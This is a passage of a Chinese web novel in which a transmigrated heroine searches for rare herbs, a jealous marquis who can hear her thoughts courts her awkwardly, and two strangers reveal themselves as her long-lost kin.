“都脏了本公主的手了” 侍女花雀:“公主,这都是四皇子再给您铺路啊” 朔灵汐依旧满脸不屑,“哦”。 花雀:“公主你瞧,这些贱民,只需要您送点这不值钱的吃食,就能对你感恩戴德,就连之前对您不好的传闻,都不攻而破了” “拿些廉价的东西就能换得美誉,到时候啊,皇上一定会对公主您满意,您说话权利岂不是更大了” 朔灵汐扬了扬下巴,语气倨傲,“你们最好别骗本公主,不然,扒皮挖眼球,本公主可就用到你们身上了哦”。 花雀:“是奴婢的荣幸” 朔灵汐不屑冷哼,目光又转移回街道来来往往的人群上。 “一群贱民” 身旁的几个侍女在努力招呼民众,而最吸引目光,毫无疑问是朔灵汐这身奢华的装扮。 又是哪家大小姐来行善了,这是大多数路人的想法,也有不少路人看穿朔灵汐眼底的不屑。 “灵汐公主?” 朔灵汐看过去,心底顿时升起一股恼怒的情绪,“苏菀?你怎么在这?”。 凭什么这个女人看着比她还光鲜亮丽,还搭上了自己的皇兄,若是自己的皇兄日后登基,那这个女人岂不是皇后?凭什么,凭什么高她一头。 不过……皇兄后宫里肯定不会只有这一个女人,嘻嘻嘻,好戏还在后头呢。 苏菀微微颔首,“我出来逛街”。 朔灵汐阴阳怪气,“哇,苏菀姐姐你居然还能逛街啊,不像我,时时刻刻都心系着这些子民,这不,本公主屈尊降贵来这送吃的”。 苏菀一惯挂着的温婉笑意僵在嘴角,朔灵汐这个蠢货,千钰哥哥居然让她参加这种影响力大的争霸赛,真是疯了。 她会做菜吗?怕是只会扒皮。 苏菀是个体面人,大街上,她并不想理会朔灵汐语言里的攻击,只是温婉一笑,“既然公主这么忙,那我就不多叨扰”。 朔灵汐对着苏菀的背影狠狠的翻了个白眼,“真是一个不知道关心老百姓的人,不像我”。 “来来来,大家来这边,让本公主的婢女亲自给你们这群贱……这群人拿吃的” 花雀在朔灵汐身旁小声低语,“公主,主子说要您亲自拿”。 朔灵汐声音尖锐,“什么?!本公主这双宝贵的双手怎么能干这种事!滚!”。 第六十三章别扭的晏无咎 花雀:“主子都是为了公主您好啊” 朔灵汐把弄着精致的护甲,浑不在意的说,“那你也为了我好,就瞒着我皇兄呗”。 “怎么?很难吗?” 花雀不敢再吱声。 朔灵汐化着精致眼妆的眼皮微微掀起,什么时候才能把晏无咎这个贱民收入麾下呢。 …… “嘶——!” “去他的晏无咎!府里守卫力度居然那么强!” 江汐汐无奈的看着满脸淤青,吊着个胳膊的辜战,“谁叫你不好好练轻功,叫人家逮住了吧”。 辜战口中痛呼声不断,“下手这么狠”。 “汐姐,晏无咎实在是太恶毒了,不如,我们去找人写点话本子抹黑抹黑晏无咎” “反正,这狗屁王朝也那么多人看晏无咎不顺眼,想搞死他,要是我们写了,说不定那些人还会在背后助推我们一波” “这狗屁王朝看不清谁重要,等晏无咎失意的时候,我们再去说服他,让他造反,覆灭了这朔耀王朝,螳螂捕蝉,黄雀在后,到时候……桀桀桀!” 江汐汐一掌拍在辜战头上,“你鬼点子倒是跟韭菜一样,割了一茬又是一茬”。 辜战还在乐呵,江汐汐就毫不留情戳破他的幻想,“你会写话本子吗,写了有人看吗?”。 辜战不服气,小声嘟囔,“不试试怎么知道,一本不行我就写二三四……”。 江汐汐没听到,也错过辜战眼里燃烧的小火苗。 江汐汐:“派人去……” 辜战疑惑,“为什么不派他们去找小殿下?”。 江汐汐:“辜战,人多眼杂” 咚咚咚—— “报!” “进” 门外进来人,举着手中的黄色纸张,恭敬的对着两人说,“现在街上有很多写着寻找渊国特色药材的纸”。 “我们怀疑或许与皇后或者小殿下有关” 辜战正要发声,却被江汐汐打断,“知道了,盯着点,暂时不要轻举妄动”。 “是” 江汐汐手里拿着那张纸,上面不仅有文字,甚至连图画都有。 “陌水巷?不就是无影阁在的那条巷子吗?” 辜战:“汐姐,我们要不要去陌水巷看看” 江汐汐冷笑,“想知道找这四种药材的人是谁,问无影阁不就好了,只怕……他们不乐意说啊”。 …… 夏清棠今日在京城几条繁华街道的考察了一番,心里大概有了个底。 “嚯!侯爷,你在cos门神吗?” 赫然看到门口站着的晏无咎,夏清棠真的被吓了一跳。 本来天就暗了,这晏无咎还穿一身黑,吓鼠个人。 晏无咎语气听不出情绪,“你去哪了?”。 夏清棠嘿嘿一笑,“我去吃饭了啊”。 晏无咎:“为什么现在才回来” 夏清棠:“……” 感觉有点不对劲儿啊,这语气……啧怎么这么像丈夫在质问晚归还带着酒气的妻子啊。 怪哉!实在是怪哉! “为什么不说话?” 晏无咎眼底墨色翻涌,他知道这很可耻,但他很确定,他此刻想听到这女人的心声。 他逼近夏清棠,语气里的情绪,夏清棠琢磨不透。 “为什么不说话” 夏清棠龇牙咧嘴,“哈哈,我该说什么,我是不是去吃饭了,你问问跟着我的暗卫不就知道了”。 【晏无咎今天又是吃错什么药了,改天真要请个跳大神的来驱一驱他身上的邪气】 晏无咎张了张嘴,想解释这是因为怕她有危险,但还是没说出口。 他只是想知道,为什么她的身上会有别的男人的味道。 【晏无咎真是吃错药了,在发什么呆】 夏清棠想了想,还是对着晏无咎友好的笑了笑,“侯爷,没事的话我就先回去休息了,有事的话,你就叫我”。 【算了,现在晏无咎还是挺重要的,先哄着】 晏无咎像颗树样站在原地,闻言也只是嗯了一声。 夏清棠满意的往回走。 昏暗环境下,门口那道挺拔的身影迟迟没有动作。 “嗤!” “本侯爷什么时候这么别扭了” “跟我有什么关系” 晏无咎像是想通了,不屑的发出冷哼,他真是中了邪了,想知道夏清棠去哪了,问问她身边跟着的暗卫不就好了。 还跟个傻*似的站在这儿,鬼迷心窍的还想听夏清棠亲口说。 “我真是疯了!” “你什么疯了?” 冷不丁跳出的安瑾吓了晏无咎一跳,偏偏这人还在不知死活的问。 “老晏,我看着你挺正常的啊,不像是疯了的样子” “怎么样,要不要本安神医去给你配治疯病的药啊?” 晏无咎脸色黑的发紫,几乎是咬牙切齿的从牙缝里挤出一个字儿。 “滚!” 安瑾还在嘿嘿傻笑,搭配了点恍然大悟的语气,“嗷嗷嗷!老晏,我知道了,我知道你很正常了”。 晏无咎脸色缓和了点。 下一秒。 安瑾:“你今夜不正常都是因为夏姑娘,夏姑娘在外面逛了一天,回来身上还有其它男人身上的味儿” 晏无咎额头青筋跳动,他呼吸重了几分,忍无可忍的狠狠一脚就要踹在安瑾屁股上。 安瑾早有察觉,一闪身,躲过晏无咎无情铁脚的攻击,还不忘贱贱的笑声,“嘿嘿嘿,老晏,别恼羞成怒嘛,小姑娘可是都不喜欢这种性格啊”。 “想讨小姑娘欢心吗?我教你啊” 第六十四章假药 “怎么样怎么样,要不要我这个风流公子哥教教你啊” “拜我为师吧,绝对童叟无欺!” 晏无咎:“不用!” 安瑾贼笑,“真的不用吗?”。 晏无咎:“滚!” 晏无咎不再理会安瑾,大步走回自己的院子。 经过夏清棠的屋子时,他的目光落在窗户上,又像是被烫到一般,迅速收回。 “啊啾——!” “好冷啊,冬天要来了,要是能去个四季都暖和的地方生活就好了” 屋内夏清棠打喷嚏的声音和说话声都被晏无咎收入耳内。 晏无咎并未停留,只是快步走回自己屋子内。 当天晚上。 夏清棠愣愣的看着被抬进自己屋子里的火炉。 “林侍卫,侯府这么好啊,这么早就给安排火炉” 林木憨笑了两声,“是啊是啊”。 夏清棠点点头,心中那点疑虑才消散。 林木带着人搬完东西后,刚一走出门口,嘴里就嘟囔着,“侯爷怎么这么早就下令给夏姑娘屋内搬火炉”。 明明以往为了省钱,都是冷的不行的时候才开始安置火炉。 夏清棠耳力极好的听到了,她皱眉,晏无咎这是什么意思。 不想了不想了,真是烦人的家伙。 “这火炉真是不错啊,暖呼呼的” 一觉睡到日上三竿,夏清棠脑子还有点懵,好久没睡这么香了。 现在也不用每天琢磨着去对着晏无咎耍流氓,只要专心致志找药材就好了。 …… 江汐汐和辜战这边,经过深思熟虑,绝定派人去陌水巷探一探,瞧瞧到底是谁要找这些药材。 江汐汐:“还得派人跟着点夏清棠” 辜战长嗷一声,跟着夏清棠?昨天是断胳膊,明天说不定就是断腿了,狗屁晏无咎看人倒是看得挺紧。 江汐汐:“愣着干什么,快去啊” 辜战叹气。 一个多时辰后。 辜战带着几个鼻青脸肿的人回来了。 江汐汐被吓了一大跳,“你们去捅蜂窝了?京城还有蜂窝?你们被打了?”。 辜战哀嚎,“不是,是去跟夏清棠,被她的暗卫揍了”。 江汐汐:“……” 她无语,但也很疑惑。 晏无咎给夏清棠派的暗卫,是在监视她,还是在保护她。 江汐汐无奈挥挥手,“行了行了,你们下去吧,好好练武”。 “是!” 辜战舔着个脸凑过去,“汐姐,还不如咱们俩亲自去跟着呢,毕竟,夏清棠都认识我们了,就算打,说不定下手还能轻点呢”。 “上次她不是还说我们俩是她的救世主吗?” 江汐汐心里有个猜测,“派去陌水巷的人怎么样了”。 辜战:“汐姐,你放心,我还专门让他们带了点西腓草” 江汐汐眼眸一亮:“然后呢?” 辜战:“然后那俩男的给了钱,他们交了草,汐姐!你放心,那钱都拿去充公了,我绝对没有拿去喝酒” 江汐汐叹气,辜战又贼兮兮的凑过来,用气音说,“汐姐,你别叹气,他们拿去那一根小干草,虽然是和纸上画的一样,但那么小,药效根本不够”。 “嘿嘿嘿,你战哥我聪明吧” “说来,那根小干草,还是我觉得长得可爱,才压在书里的” 江汐汐摸了摸辜战的头,“做的不错”。 辜战:“派去送药的那俩人的这几天的行踪我都安排了,到时候他们必定会……然后我们就知道是谁在找这药了” 江汐汐:“嗯” …… 暗卫:“主子,这是纸上画的药材之一,属下已经再三比对过” 夏清棠满意的点头,“不错不错”。 她接过药材,西腓草,确实是长得一样,就是……就是这草是不是有点太迷你了。 夏清棠有点不放心的问:“有照我说的做,派人跟着卖药材那人吧”。 暗卫点头,“暗八暗九去了”。 夏清棠稍显松了口气,这根小草可花了她不少银子,她小心翼翼把这根迷你小草放进盒子里,又嘱咐了暗卫两句,便抱着木盒马不停蹄的往安瑾住的院子里赶。 “安大夫!” “安大夫在不在” 没等下人回答,便听屋子里传来懒洋洋的磁性男声。 “呦呵,夏姑娘跑这么急,侯爷可不在我这儿哦” 安瑾走出屋子,看到跑的脸蛋儿红扑扑的夏清棠。 夏清棠灿然一笑,找到药材的喜悦此刻盖过其它所有情绪。 “安大夫,找到西腓草了!” 安瑾懒散的神情顿住,这么快?! 他示意夏清棠进屋子里,“外面太冷了,进来”。 夏清棠:“嗯嗯” 木盒放在桌子上,在两人专注的目光里,木盒神圣的被打开了。 一根迷你版西腓草。 安瑾悄然松了口气,他就知道,哪有这么容易,怎么可能那么容易。 夏清棠察觉到不对劲,亮晶晶的目光瞬间带上焦急,“安大夫,怎么样?”。 “是这药材不对吗?” 安瑾气定神闲的喝了口茶,“对,这草确实是西腓草”。 夏清棠松了口气,下一秒,心就又被吊起。 “但是!” “如你所见,这药太小了,药效根本不够,要是来四颗这么大的西腓草,说不定还行” 夏清棠:“……” 伤心了。 安瑾轻笑了声,“夏姑娘,被灰心嘛,好歹有希望的小火苗了”。 夏清棠嗯了声,脸上很快又挂上笑容,“谢谢安大夫,安大夫忙,我先走了”。 夏清棠愤愤的走出安瑾的院子,居然卖假药! 居然碰到卖假药的了! 还好,回到院子的夏清棠刚好碰到回来上报消息的暗卫。 “暗八,跟到没?” 暗八:“跟到了” 夏清棠嘴角扯笑,皮笑肉不笑,“行,带我去”。 暗八当即领命,侯爷说过,夏姑娘的命令就是他的命令,必须一切遵守。 三个人一路轻功运行,很快便来到一处寂静小巷处,走到一处平常的院子前。 留在这里的暗九示意两人,里面的人并未离开。 暗九小声说,“确认过了,只有两个人”。 夏清棠一摆手又放下,本想来一场入室抢劫般的质问,但……还是先温柔点吧。 咚咚咚—— 没人应。 咚咚咚——! 依旧没人应。 就在夏清棠几人要像土匪一般闯入时,里面传来脚步声。 第六十五章相约王大娘饭馆 吱呀—— 门开了,是两个看起来很普通的男人。 两人对于几人的到来似乎毫不意外,脸上的表情更像是‘来得这么快’的惊讶。 夏清棠不啰嗦,“你们卖假药”。 “三个选择,退钱,换药,报官” 两个男人没有回应这个话题,反而是侧身让开大门的位置,“姑娘,不如我们里面请,细聊”。 夏清棠蹙眉,“没什么好聊的,谁知道你们里面有没有埋伏的,有啥事就在大街上说”。 两个男人对视一眼,也没在犹豫,开始了自己的讲故事环节。 “这位姑娘,这药是我们主子赏赐的,我们两个知道能卖钱,但一直没找到合适的买家,前几天看到街上的纸,价格也很美丽” “我们俩这才寻思着把这药给卖了,至于你方才说的假药,我们两个是真的不知情啊” 另外一个男人突然打断,斩钉截铁的说:“这药材绝对是真的!”。 夏清棠双眸微眯,“一点药性都没有的药材,你也好意思说是真的?”。 男人甲一脸歉意,“姑娘,没有药性,也不能说明它是假的啊”。 夏清棠嘴角抽了抽,这还是个臭不要脸的。 “暗八暗九!摁住给我揍一顿!” “啊——!” “姑娘姑娘,我还没说完,您先让他们停下来” 砰——! 院子门被关上,两个男人被丢在地上,已经是鼻青脸肿了。 造孽啊,主子为什么非要派他们这俩个不会武功的人来啊。 夏清棠此刻像煞神,“张开你们的小嘴巴,放完你们还没放完的屁!”。 男人甲:“姑娘,不如这样吧,我去跟我们的前主子说一声,就说有人想买他的药材” 夏清棠轻啧一声,两个男人立刻开始怒骂。 “去他的的前主子!姑娘我跟你讲喔,我们的前主子啊,经常拖欠我们的工钱啊,就连这药材啊,都是他拿来抵工钱的” “不过,姑娘你放心,那男的虽然爱财又抠门,但最鄙夷的就是卖假货的,所以,这药绝对是真的” 夏清棠冷笑,“所以呢,你还是想说,虽然没药性,但是是真的,嗯?”。 男人甲脸上带上惊恐,“不不不,姑娘你误会了,我们两个的意思是,可以做那个中间人”。 “我们的前主子啊,还有很多这种药材,说是啥低价收的绝迹药材,就等着高价卖” “他那么爱财,听到有人说要买,绝对能兴奋的少活两年” 夏清棠若有所思的点点头,这俩人演的还挺像那么一回事儿。 两个男人咽了咽口水,又狠狠朝地上呸了一口,“这位姑娘,我们连个肯定不会要你啥中间费,你要是见了那男的,狠狠暴揍他一顿就行”。 夏清棠摆弄着手里的小飞刀,“那我真是谢谢你们喽”。 “不客气不客气” 两个男人拘束的站在原地,等着这女魔头离开呢,偏偏这仨人就不走。 良久,夏清棠的脚终于动了。 “告诉你前主子,王大娘饭馆包间见” 夏清棠三人走远了。 “王大娘是谁?” “王大娘饭馆是个卖炒菜的,是个饭馆名” “……哦哦” …… 夏清棠办完事,暗八暗九又开始自己的隐秘行迹,这就是职业操守。 夏清棠今天没什么心情,决定回府上钻研一下自己的厨艺和武艺。 “哟,夏姑娘这么快就回来了?怎么,钱退了还是咋” “没有” 安瑾看到夏清棠只回应了一声,就一脸认真的往厨房处走,心生好奇,连忙跟上。 “哟,夏姑娘你还会做饭啊,这么厉害” 夏清棠展颜一笑,“长见识了吧”。 两人在厨房聊的欢快,甚至,安瑾还能给夏清棠出的菜品做出非常正确的点评。 烟火气息弥漫,两人之间气氛其乐融融。 “哈哈哈!夏清棠,你脸上都是黑的” 肆意的说笑声传出门外,王嬷嬷绝望的闭了闭眼,她什么时候拍马屁不行,偏偏这个时候拍,这下好了,马屁拍在了马脸上。 就在一刻钟前。 在院子里干活的王嬷嬷眼尖的看到了风尘仆仆赶回来的侯爷。 侯爷一脸疲惫,这个时候若是发现家中有人特意做好饭,等着他回来,并且,这个人还是自己的心上人,那侯爷肯定会非常开心,她这个功臣也必定会受到奖赏。 于是,王嬷嬷就信心满满的迎了上去。 对着侯爷就是说,“侯爷,夏姑娘知道您忙了一天很累,今天特地下厨要做饭给您吃”。 王嬷嬷见侯爷表情松动,又再接再厉,“侯爷,夏姑娘可真是贴心啊,夏姑娘经常问我,侯爷您有什么忌口,喜欢吃什么”。 侯爷表情明显转为愉悦,甚至一言不发的就往厨房处走。 王嬷嬷一乐呵,瞧瞧,都不用她再说了,侯爷都会自己行动了。 但、为什么安大夫也在里面,两人还聊得那么开心。 以她活了五十年对男人的了解,侯爷绝对是不爽了。 所以,就有了现在的场面。 说笑声还在往耳朵里灌。 王嬷嬷觉得自己遭不住了,想走。 厨房里,夏清棠哈哈大笑,“安大夫,原来萧副将私下里这么可爱”。 厨房外,晏无咎听到夏清棠笑得很开心。 他一天没和她说话了,也好久没有听到过她的心声。 王嬷嬷小心翼翼,“侯爷,要不要我进去把他们叫出来”。 晏无咎:“不必” 正当王嬷嬷以为侯爷其实没那么在意,要往回走的时候,她看到,侯爷抬脚往厨房里走了。 王嬷嬷:“……” 走进去的晏无咎给自己营造出一种很轻松的感觉,他随口问,“笑什么呢,这么开心呢”。 对于突然出现的人,安瑾觉得没有什么,很自然上前勾肩搭背。 而夏清棠,有不自在,但不多,她收敛了笑声,目光聚集在锅里炖着的鸡身上。 安瑾:“哟,老晏,累了一天了,不去休息,怎么来这儿了” 晏无咎推开安瑾的手,淡淡说了句,“闻到香味了”。 安瑾:“是吧是吧,夏姑娘做的菜超级好吃” “夏姑娘还专门邀请我尝她的菜嘞” 晏无咎眼底墨色翻涌,“专门给你做的?”。 第六十六章可以爱? “专门给你做的?” 安瑾表情空白了一瞬,他说老晏这么反常呢,原来是吃醋了。 安瑾面色无常,“对啊,专门叫我过来品尝呢”。 晏无咎沉着眸,目光看向专注在锅灶前的夏清棠。 “你们二人之间的关系倒是突飞猛进” 夏清棠嘀咕,这个晏无咎说的话怎么听着这么阴阳怪气,还有,他怎么一副来捉奸的怨夫样儿。 她和安大夫又没干什么见不得人的事,就算干了,和他又有什么关系。 夏清棠忽视晏无咎阴沉的面容,朝他笑了笑,“侯爷,这是我专门做来让你们吃的”。 “喏,侯爷你不是爱吃鸡肉吗?这是专门给你炖的鸡” 专门给他,晏无咎细细品味这几个字,脸上阴沉终于少了些,说出的话却得寸进尺。 “专门给本侯爷炖的鸡,那他怎么吃了那么多” 安瑾:“……” 夏清棠:“……” 你这么幼稚你的属下知道吗? 晏无咎走到锅灶前,看到里面果然是自己喜欢吃的大盘鸡,脑中又浮出方才王嬷嬷说的,夏清棠经常打探他的爱好,嘴角弧度越扯越大,许久,喉间才溢出满意的轻哼声。 “不错,给本侯爷端上来吧” 竖着耳朵守在门外的王嬷嬷一听,立马就走进厨房,献殷勤的拿着盘子去盛鸡块。 晏无咎:“走呗,一起去吃啊,不然,倒显得我这个侯爷太抠门” 拿着碗默默想给自己盛一碗的夏清棠听到这话,暗自琢磨,是不是晏无咎最近遇到啥麻烦了。 安瑾则是一把搂过晏无咎的肩,“老晏,居然还有人说你抠门?哈哈哈,抠门老晏?”。 晏无咎嫌弃的拍掉安瑾的臭手。 “你做那儿” 正要落座落在晏无咎身边的安瑾愣住,“为啥撵我”。 晏无咎:“你身上药味太重” 安瑾:“切~” 来迟的夏清棠看着剩下的两个座位怔住,一个在晏无咎左边,一个在晏无咎和安瑾的中间。 这俩人是吵架了?夏清棠没再多想,径直坐到了晏无咎的左边。 【香啊,我的厨艺真是丝毫不减当年啊】 自从夏清棠坐到晏无咎的身边,他嘴角的弧度就没有下去过,听到这女人的心声了。 好久没听到过了,万一哪一天真的听不到了怎么办。 晏无咎的眉宇间又带上愁绪,浑然没有察觉到面前的大盘鸡已经快被两人炫完。 【晏无咎这个谎话精,说喜欢吃,真送到嘴边了,又摆着一副苦大仇深的样子】 夏清棠一边往自己嘴里塞鸡块,一边在心底吐槽。 听到这话的晏无咎蓦地回神,嘴角要笑不笑的扯出一抹弧度,优雅的伸出筷子去夹鸡块。 啪! 鸡块掉了。 晏无咎故作不在意的去夹第二块。 啪! 鸡块又掉了。 “……” 晏无咎尴尬的收回筷子。 下一秒,他看到同时夹着鸡块放到自己盘子里的两双筷子。 是夏清棠和安瑾。 两人对视,随即笑出声。 安瑾调笑晏无咎,“老晏,你咋连筷子都不会用了”。 夏清棠憋笑:“侯爷肯定是看到这美味的鸡块太激动了,筷子没拿稳” 晏无咎看着这两人一唱一和,可真是默契极了。 他狠狠咬下口中鸡块,故作随意,“我真是谢谢你们两个”。 安瑾:“老晏,皇上又叫你去干啥” 晏无咎冷笑,语气带上嘲讽,“说是要开始筹备冬猎的事”。 安瑾大惊,“冬猎?这皇帝是不是吃药吃错了,脑子被治傻了,他不知道冬猎要耗费多少人力物力财力吗?神经病一个”。 “不是,以前不都是春猎和秋猎吗?是谁吹耳旁风了吗,非得搞一个冬猎” 晏无咎不屑冷嗤,“肯定就是脑子被驴踢了”。 安瑾担忧,“狗皇帝又把这事交给你了?”。 晏无咎眸色深沉,嘴角突然勾起一抹笑,“本来是,不过……他脑子又被驴踢了几脚,交给朔千钰了”。 安瑾发出爆笑,“哈哈哈!这对父子还真是有意思啊”。 夏清棠咀嚼着鸡块土豆块,在一旁默默听两人的谈话。 【冬猎啊,书中是写到这个剧情了,可这不是才深秋吗,居然这么早就安排上了】 【记得书中皇帝是想安排给晏无咎和贺柏来着,也的确是安排给了他俩,后来好像是这俩人之间发生了点矛盾,还让给捅到皇帝面前了,朔千钰就主动站出来,说他愿意和晏无咎一起安排】 【之后又是老套剧情,功劳都是朔千钰的,晏无咎依旧是小丑】 耳边晏无咎和安瑾还在交谈,夏清棠心中的疑虑却只增不减。 【怎么晏无咎说安排冬猎的人是朔千钰啊】 安瑾故意问道,“怎么,皇上没让你和朔千钰一起干?”。 晏无咎从善如流的回答,语气还带了点吊儿郎当,“本侯爷和千钰兄是好兄弟,这种事,我怎么能抢他风头呢?”。 夏清棠:“侯爷,那是只有四皇子一个人安排吗?” 【不知道有没有贺柏】 晏无咎:“嗯” 安瑾在旁边长牙五爪,阴阳怪气,“比不过,比不过啊,人家朔千钰和你是好兄弟,不像我,是个吃饭连你旁边都不能坐的外人~”。 “我身上药味儿太重~” 晏无咎夹起一块土豆恶狠狠的塞进安瑾嘴里。 “禁止阴阳怪气” 夏清棠憋笑。 【以前怎么没发现,晏无咎说话还怪可爱的,一张帅帅的冷脸,说‘禁止阴阳怪气’】 晏无咎眸光停在夏清棠身上,怕被抓包,又赶紧收回。 夏清棠说他可爱,说他可爱,是……可以爱吗?这个女人觊觎他! 晏无咎觉得自己发现了不得了的秘密,他的耳根逐渐烧红,喉结不断滚动,浑身都散发着不自在的气息。 而夏清棠没注意到晏无咎的异常,她思绪还在冬猎这件事儿上。 【晏无咎进步了,他肯定是发现朔千钰的不对劲儿了,上次在京郊抓起来那俩大汉,晏无咎说不定是审出来点东西】 【冬猎……冬猎第一名是不是有大赏赐啊】 安瑾品了口茶,又问晏无咎,“那今年这次冬猎你去不去?”。 晏无咎丝毫没有犹豫,“当然去”。 “即使我不去,他们也会搞这次冬猎,耗费那么多人力财力,我若是去了,夺下冬猎魁首,还能捞到不少” 安瑾斜眼一笑,“你不愧是老晏,连皇帝的风头都敢抢”。 晏无咎双眸微眯,只笑了笑,并未说话。 夏清棠在心底琢磨。 【到时候晏无咎去冬猎,我岂不是有大大的自由】 晏无咎眼皮跳了跳,搞得跟他不去冬猎,你就没有自由一样,再给点自由,这女人绝对会骑他头上。 第六十七章免费给 距离冬猎的时间还长,那他就来好好限制限制这个夏清棠的自由。 晏无咎脑子里开始了他的坏心思。 他承认,他现在确实是对夏清棠产生了点小心思,怎么才能让夏清棠对他的小心思更多呢。 本来已经安静的餐桌上冷不丁响起晏无咎僵硬的关心声。 “屋子里还冷不冷,冷的话直接跟林木说,缺钱也找林木” 安瑾:“?” 是在关心他吗? 夏清棠:“……” 【应该不是在跟我说吧,肯定是在关心安瑾】 察觉到两人的反应,晏无咎更硬了,他机械的扭头看向夏清棠,“说你呢”。 “……” 夏清棠:“嗷嗷,好的,侯爷你也要多注意身体啊,我看你最近太忙了” 【晏无咎肯定是累晕了】 晏无咎点头,觉得这里自己待不下去了,正要起身离开,门外却传来急报。 林木驮着满身是血的萧策进来了。 几人脸色皆是大惊和焦急。 安瑾:“快!,放床上!” 安瑾去治萧策的伤了。 门外,晏无咎脸色阴沉,沉声命令暗卫去调查。 林木声音发颤,“方才,萧副将晕倒前说了句话,没说完”。 “说!” 林木:“玉佩,萧副将说玉佩,没说完就晕倒了” 晏无咎蹙眉,他的大手抚上腰间常年佩戴的玉佩,是在说这个吗? 夏清棠听到这话,目光也落在晏无咎腰间。 【玉佩?是在说晏无咎一直带着的这个玉佩上,书中没写关于什么玉佩的剧情】 【这应该就是蝴蝶效应和剧情逸枝,可能是我这个意外因素引发的蝴蝶效应,也可能是额外剧情,不属于原书主要剧情的其它剧情】 晏无咎知道,萧策受了这么重伤也要告诉他,那必定就是这玉佩了。 他将玉佩摘下,攥在手心,一言不发的走回屋内。 留在门外的夏清棠是觉得很奇怪,这个玉佩到底有什么说法,她记得,在她来到这里后第一次和朔砚辞正式见面时,那个男人就对她说,拿到晏无咎常挂的那个玉佩,交给他。 是想拿一块玉佩来污蔑吗?可是仅仅是一块玉佩而已,能污蔑什么。 夏清棠不想再想,她沉默的站在门外。 没人知道她在想什么。 萧策伤的很重,重到这间屋子的烛火亮了一夜。 …… 隔日清晨。 满脸疲惫的安瑾颓废的从屋内走出,看到晏无咎和夏清棠以及林木,他失落的摇摇头。 “没醒” “勉强治住了,至于什么时候醒……我…说不出来” 安瑾颤抖着声音说完这句话,就像是情绪爆发般,抱着头瘫坐在地上,失声痛哭。 晏无咎垂落的双手攥紧成拳头,“用什么药,库房里的银子拿去买”。 “侯府的守卫再上强度!” 留下这句话,晏无咎离开了。 夏清棠看着痛苦的安瑾,不知道该说些什么安慰人的话,“安大夫,我也有钱,就在我屋里,你用药缺钱就去拿”。 “今日我还有事,就先走了” “萧公子他,一定会没事的” 见安瑾还在悲痛中,夏清棠最终也是沉默的离开。 她现在要去王大娘饭馆赴约。 …… 王大娘饭馆,今日依旧是热闹非凡。 夏清棠走进去,一锭银子放在王大娘桌上。 “包间” 王大娘双眼放光明,连声说有有有,“这就给您安排”。 “夏姑娘这边请” 却看到夏清棠不动,就盯着她手里的银子看,这……王大娘忐忑,夏姑娘不会是想收回去吧。 也不是不行,毕竟夏姑娘救了她女儿的命,正当王大娘伸手要把银子递回去时。 “别忘了找钱,王大娘” “我记得,你家包间没那么贵吧” 王大娘一愣,连忙应声,“欸,是是是,看我这,忙晕了”。 找完钱,夏清棠又再王淑芬耳边嘱咐了几句,塞了一点点碎银。 夏清棠进了包间,没过一会,门外就传来声响。 门开了。 三双眼来回看。 ……静 最怕空气突然安静。 “怎么是你?!” “怎么是你们?” 江汐汐和辜战真的是没想到,找渊国特色药的居然是夏清棠。 这可真是皇天不负有心人,得来全不费工夫啊。 夏清棠也没想到,有这药的抠门前主子,居然是这俩人。 天。 “嗷——原来那俩人说的死抠死抠的前主子就是你俩啊” 江汐汐看到夏清棠很激动,一惯以高冷著称的她此刻甚至想抱着夏清棠,狠狠亲几口,找了十几年的人就在眼前,呜呜呜,好感动。 “你们俩拿的药材呢?” 辜战看到自家汐姐一惯冰冷的面容现在波动很大,他知道,汐姐现在心情很激动,恨不得抱着夏清棠亲几口,可是……汐姐为什么要掐他的胳膊,很疼哎。 “你们俩不会是反悔了吧?!” “……” 这俩人是在走神吗?啊?! “喂!!大姐大哥!醒醒了喂,不是叫你们来这思考人生的!” 江汐汐和辜战猛地回神。 江汐汐眼神闪躲,不敢直视夏清棠的双眼,“夏姑娘,你说”。 夏清棠大骇,“你们调查我?!”。 气氛一时间陷入微妙的境地。 辜战打破这微妙的气氛,从布袋里掏出带来的药,亮亮堂堂的摆在桌子上。 是一颗品相非常好的西腓草,一看就药效十足的那种。 夏清棠顿时双眼亮晶晶,她把面上的警惕收起,摆出温和的笑容,“咳,开个价吧。价格这种东西嘛,好商量”。 江汐汐先辜战一步开口,“夏姑娘,如果是你需要的话,我们不要钱都可以”。 细细观察西腓草的夏清棠呆住:“?!” 这是什么新的阴谋诡计要使她身上吗? 第六十八章满载而归 “你们俩不是很抠,很爱财吗?” 江汐汐微笑,“夏姑娘,你是我们的有缘人,我们愿意送给你”。 辜战附和:“对对对,早知道是你,我绝对一起把另外几种药材都带过来。” 夏清棠虽心动,但更害怕。 “说吧,你们三番五次接近我,说点莫名其妙的话,目的是什么。” “被跟我在这扯有的没的,什么救世主,有缘人,不许说。” 江汐汐和辜战对视一眼,目光里有犹豫,她们找到小殿下,是很高兴,但是也有害怕,害怕小殿下不认她们,甚至害怕小殿下知道她们是渊国人后,向朝廷举报。 夏清棠:“嗯?” 江汐汐心一横,“我们是你的亲人!”。 夏清棠:“???” 亲人?原主的记忆里没什么亲人啊,这俩人到底是何方妖孽。 夏清棠:“我不信” 辜战站起来,“我们两个有你爹娘的画像!”。 夏清棠:“???” 她爹娘的画像?哦,原主爹娘的画像,可是原主记忆里根本没爹娘这俩生物啊,有画像她也认不出来。 夏清棠:“我不信。” “……” 辜战和江汐汐眼神对视,两人开始眼神交流。 说啥她都不信,这咋整。 能咋整,当然是我们得拿出实物啊,要不就是药材给她搬过来,要不就是画像拿出来给她看。 咱们没拿那些药材,你拿画像了吗? ……没。 夏清棠看这俩人是没完没了了,她敲敲桌子,“你俩这是……眼睛抽抽了?”。 “这样吧,你们俩要是能把这四种药材全都拿出来,我就勉强相信你们一点点。” 辜战激动的一拍桌子,“真的吗,给你药材你就相信我们”。 夏清棠纠正,“是勉强相信你们一点点”。 辜战扭头对江汐汐说,“汐姐!咱们快点派人回去拿吧”。 江汐汐没理辜战,而是转头对着夏清棠,一脸认真,“我们现在派人回去拿,你愿不愿意等”。 夏清棠:“当然愿意啊,你们别搞我就好,就算要搞也别在人家这饭馆搞。” 江汐汐微怔,又轻轻点了点头。 只见江汐汐和辜战出了饭馆一趟,夏清棠寻思这俩人应该是出去叫人去了。 她的爹妈?笑话,她都多少年没见过自己爹妈了,不对不对,是原主的爹娘,原主的记忆里压根就没有这两号人物,真拿出画像来,她也不认识啊。 夏清棠懒惰的靠在椅背上,这俩人不会找人来弄她吧,暗七暗八暗九倒是跟着她呢。 时间过的很慢,夏清棠等饿了,就先叫了几盘菜。 